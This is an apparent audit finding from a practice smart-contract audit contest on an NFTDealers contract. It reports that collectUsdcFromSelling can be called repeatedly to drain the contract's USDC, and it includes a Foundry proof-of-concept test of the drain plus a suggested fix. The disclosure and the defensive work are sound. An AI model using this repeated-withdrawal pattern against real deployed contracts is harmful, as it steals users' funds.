NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling` Can Be Called Repeatedly to Drain All Contract USDC

Author Revealed upon completion

Root Cause: The collectUsdcFromSelling function never resets listing.price, listing.seller, or collateralForMinting[listing.tokenId] after paying out. The only guard is require(!listing.isActive, ...) which checks that the listing is inactive -- a condition that remains true permanently after a sale or cancellation. The onlySeller modifier checks s_listings[_listingId].seller == msg.sender, and seller is never zeroed out. This allows the seller to call collectUsdcFromSelling an unlimited number of times on the same listing, draining the contract's entire USDC balance.

Exploit Path / Impact:

  1. Alice mints an NFT (20 USDC collateral locked).

  2. Alice lists the NFT for 1000 USDC.

  3. Bob buys the NFT for 1000 USDC (contract now holds 1020 USDC).

  4. Alice calls collectUsdcFromSelling(tokenId) -- receives (1000 - fees) + 20 USDC collateral.

  5. Alice calls collectUsdcFromSelling(tokenId) AGAIN -- the function passes all checks (listing is still inactive, seller is still Alice) and sends the same amounts again.

  6. Alice repeats until the contract is completely drained of ALL USDC (including other users' collateral and pending sale proceeds).

This is a total fund drain. Any seller who has ever completed a sale can drain every single USDC token held by the contract, stealing from all other users.

PoC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;
​
import {Test, console} from "forge-std/Test.sol";
import {NFTDealers} from "../src/NFTDealers.sol";
import {MockUSDC} from "../src/MockUSDC.sol";
​
contract NFTDC001Test is Test {
NFTDealers public nftDealers;
MockUSDC public usdc;
​
address public owner = makeAddr("owner");
address public alice = makeAddr("alice");
address public bob = makeAddr("bob");
address public charlie = makeAddr("charlie");
​
function setUp() public {
usdc = new MockUSDC();
nftDealers = new NFTDealers(owner, address(usdc), "NFTDealers", "NFTD", "img", 20e6);
​
// Reveal and whitelist
vm.prank(owner);
nftDealers.revealCollection();
vm.prank(owner);
nftDealers.whitelistWallet(alice);
vm.prank(owner);
nftDealers.whitelistWallet(charlie);
​
// Fund users
usdc.mint(alice, 100e6);
usdc.mint(bob, 10_000e6);
usdc.mint(charlie, 100e6);
}
​
function test_NFTDC001_RepeatedCollectDrainsContract() public {
// EXPLOIT: Alice mints an NFT (20 USDC collateral)
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
​
// EXPLOIT: Alice lists the NFT for 1000 USDC
nftDealers.list(1, 1000e6);
vm.stopPrank();
​
// Charlie also mints (another 20 USDC collateral in contract)
vm.startPrank(charlie);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
vm.stopPrank();
​
// Bob buys Alice's NFT for 1000 USDC
// Contract now holds: 20 (alice collateral) + 20 (charlie collateral) + 1000 (bob payment) = 1040 USDC
vm.startPrank(bob);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1);
vm.stopPrank();
​
uint256 contractBalanceBefore = usdc.balanceOf(address(nftDealers));
assertEq(contractBalanceBefore, 1040e6); // Confirm contract holds 1040 USDC
​
uint256 aliceBalanceBefore = usdc.balanceOf(alice);
​
// EXPLOIT: Alice calls collectUsdcFromSelling multiple times
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1); // First call - legitimate
nftDealers.collectUsdcFromSelling(1); // Second call - EXPLOIT! Should revert but doesn't
vm.stopPrank();
​
uint256 aliceBalanceAfter = usdc.balanceOf(alice);
uint256 contractBalanceAfter = usdc.balanceOf(address(nftDealers));
​
// Alice received payment TWICE, draining other users' funds
// Each call sends: (1000 - 10 fee) + 20 collateral = 1010 USDC
// After 2 calls: Alice received 2020 USDC total (but was only owed 1010)
assertGt(aliceBalanceAfter - aliceBalanceBefore, 1010e6, "Alice drained more than her entitled amount");
assertLt(contractBalanceAfter, 20e6, "Contract lost Charlie's collateral - other users' funds stolen");
}
}
​

Recommendation:

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ // Reset state BEFORE transfers to prevent re-collection
+ s_listings[_listingId].seller = address(0);
+ s_listings[_listingId].price = 0;
+ collateralForMinting[listing.tokenId] = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
​

Confidence: High

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!